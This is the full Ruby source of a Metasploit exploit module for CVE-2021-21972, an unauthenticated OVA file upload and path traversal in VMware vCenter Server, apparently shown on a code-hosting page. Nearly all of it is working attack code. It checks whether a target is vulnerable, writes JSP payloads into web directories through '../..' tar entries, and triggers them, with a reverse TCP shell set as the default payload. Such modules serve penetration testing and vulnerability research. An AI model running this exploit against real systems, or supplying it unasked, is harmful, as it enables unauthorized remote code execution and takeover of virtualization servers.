/modules/exploits/multi/http/vmware_vcenter_uploadova_rce.rb
Ruby | 236 lines | 225 code | 6 blank | 5 comment | 0 complexity | 1c1726427ac4a828d4b2f7945243f5fb MD5 | raw file
- ##
- # This module requires Metasploit: https://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- class MetasploitModule < Msf::Exploit::Remote
- # "Shotgun" approach to writing JSP
- Rank = ManualRanking
- prepend Msf::Exploit::Remote::AutoCheck
- include Msf::Exploit::Remote::CheckModule
- include Msf::Exploit::Remote::HttpClient
- include Msf::Exploit::FileDropper
- def initialize(info = {})
- super(
- update_info(
- info,
- 'Name' => 'VMware vCenter Server Unauthenticated OVA File Upload RCE',
- 'Description' => %q{
- This module exploits an unauthenticated OVA file upload and path
- traversal in VMware vCenter Server to write a JSP payload to a
- web-accessible directory.
- Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c.
- Note that later vulnerable versions of the Linux appliance aren't
- exploitable via the webshell technique. Furthermore, writing an SSH
- public key to /home/vsphere-ui/.ssh/authorized_keys works, but the
- user's non-existent password expires 90 days after install, rendering
- the technique nearly useless against production environments.
- You'll have the best luck targeting older versions of the Linux
- appliance. The Windows target should work ubiquitously.
- },
- 'Author' => [
- 'Mikhail Klyuchnikov', # Discovery
- 'wvu', # Analysis and exploit
- 'mr_me', # Testing
- 'Viss' # Testing
- ],
- 'References' => [
- ['CVE', '2021-21972'],
- ['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0002.html'],
- ['URL', 'https://swarm.ptsecurity.com/unauth-rce-vmware/'],
- ['URL', 'https://twitter.com/jas502n/status/1364810720261496843'],
- ['URL', 'https://twitter.com/_0xf4n9x_/status/1364905040876503045'],
- ['URL', 'https://twitter.com/HackingLZ/status/1364636303606886403'],
- ['URL', 'https://kb.vmware.com/s/article/2143838'],
- ['URL', 'https://nmap.org/nsedoc/scripts/vmware-version.html']
- ],
- 'DisclosureDate' => '2021-02-23', # Vendor advisory
- 'License' => MSF_LICENSE,
- 'Platform' => ['linux', 'win'],
- 'Arch' => ARCH_JAVA,
- 'Privileged' => false, # true on Windows
- 'Targets' => [
- [
- # TODO: /home/vsphere-ui/.ssh/authorized_keys
- 'VMware vCenter Server <= 6.7 Update 1b (Linux)',
- {
- 'Platform' => 'linux'
- }
- ],
- [
- 'VMware vCenter Server <= 6.7 Update 3j (Windows)',
- {
- 'Platform' => 'win'
- }
- ]
- ],
- 'DefaultTarget' => 0,
- 'DefaultOptions' => {
- 'SSL' => true,
- 'PAYLOAD' => 'java/jsp_shell_reverse_tcp',
- 'CheckModule' => 'auxiliary/scanner/vmware/esx_fingerprint'
- },
- 'Notes' => {
- 'Stability' => [CRASH_SAFE],
- 'Reliability' => [REPEATABLE_SESSION],
- 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
- 'RelatedModules' => ['auxiliary/scanner/vmware/esx_fingerprint']
- }
- )
- )
- register_options([
- Opt::RPORT(443),
- OptString.new('TARGETURI', [true, 'Base path', '/'])
- ])
- register_advanced_options([
- # /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<index>
- OptInt.new('SprayAndPrayMin', [true, 'Deployer index start', 40]), # mr_me
- OptInt.new('SprayAndPrayMax', [true, 'Deployer index stop', 41]) # wvu
- ])
- end
- def spray_and_pray_min
- datastore['SprayAndPrayMin']
- end
- def spray_and_pray_max
- datastore['SprayAndPrayMax']
- end
- def spray_and_pray_range
- (spray_and_pray_min..spray_and_pray_max).to_a
- end
- def check
- # Run auxiliary/scanner/vmware/esx_fingerprint
- super
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus')
- )
- unless res
- return CheckCode::Unknown('Target did not respond to check.')
- end
- case res.code
- when 200
- # {"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
- expected_keys = [
- 'States',
- 'Install Progress',
- 'Install Final Progress',
- 'Config Progress',
- 'Config Final Progress'
- ]
- if (expected_keys & res.get_json_document.keys) == expected_keys
- return CheckCode::Vulnerable('Unauthenticated endpoint access granted.')
- end
- CheckCode::Detected('Target did not respond with expected keys.')
- when 401
- CheckCode::Safe('Unauthenticated endpoint access denied.')
- else
- CheckCode::Detected("Target responded with code #{res.code}.")
- end
- end
- def exploit
- upload_ova
- pop_thy_shell # ;)
- end
- def upload_ova
- print_status("Uploading OVA file: #{ova_filename}")
- multipart_form = Rex::MIME::Message.new
- multipart_form.add_part(
- generate_ova,
- 'application/x-tar', # OVA is tar
- 'binary',
- %(form-data; name="uploadFile"; filename="#{ova_filename}")
- )
- res = send_request_cgi(
- 'method' => 'POST',
- 'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/uploadova'),
- 'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
- 'data' => multipart_form.to_s
- )
- unless res && res.code == 200 && res.body == 'SUCCESS'
- fail_with(Failure::NotVulnerable, 'Failed to upload OVA file')
- end
- register_files_for_cleanup(*jsp_paths)
- print_good('Successfully uploaded OVA file')
- end
- def pop_thy_shell
- jsp_uri =
- case target['Platform']
- when 'linux'
- normalize_uri(target_uri.path, "/ui/resources/#{jsp_filename}")
- when 'win'
- normalize_uri(target_uri.path, "/statsreport/#{jsp_filename}")
- end
- print_status("Requesting JSP payload: #{full_uri(jsp_uri)}")
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => jsp_uri
- )
- unless res && res.code == 200
- fail_with(Failure::PayloadFailed, 'Failed to request JSP payload')
- end
- print_good('Successfully requested JSP payload')
- end
- def generate_ova
- ova_file = StringIO.new
- # HACK: Spray JSP in the OVA and pray we get a shell...
- Rex::Tar::Writer.new(ova_file) do |tar|
- jsp_paths.each do |path|
- # /tmp/unicorn_ova_dir/../../<path>
- tar.add_file("../..#{path}", 0o644) { |jsp| jsp.write(payload.encoded) }
- end
- end
- ova_file.string
- end
- def jsp_paths
- case target['Platform']
- when 'linux'
- @jsp_paths ||= spray_and_pray_range.shuffle.map do |idx|
- "/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/#{idx}/0/h5ngc.war/resources/#{jsp_filename}"
- end
- when 'win'
- # Forward slashes work here
- ["/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/#{jsp_filename}"]
- end
- end
- def ova_filename
- @ova_filename ||= "#{rand_text_alphanumeric(8..42)}.ova"
- end
- def jsp_filename
- @jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
- end
- end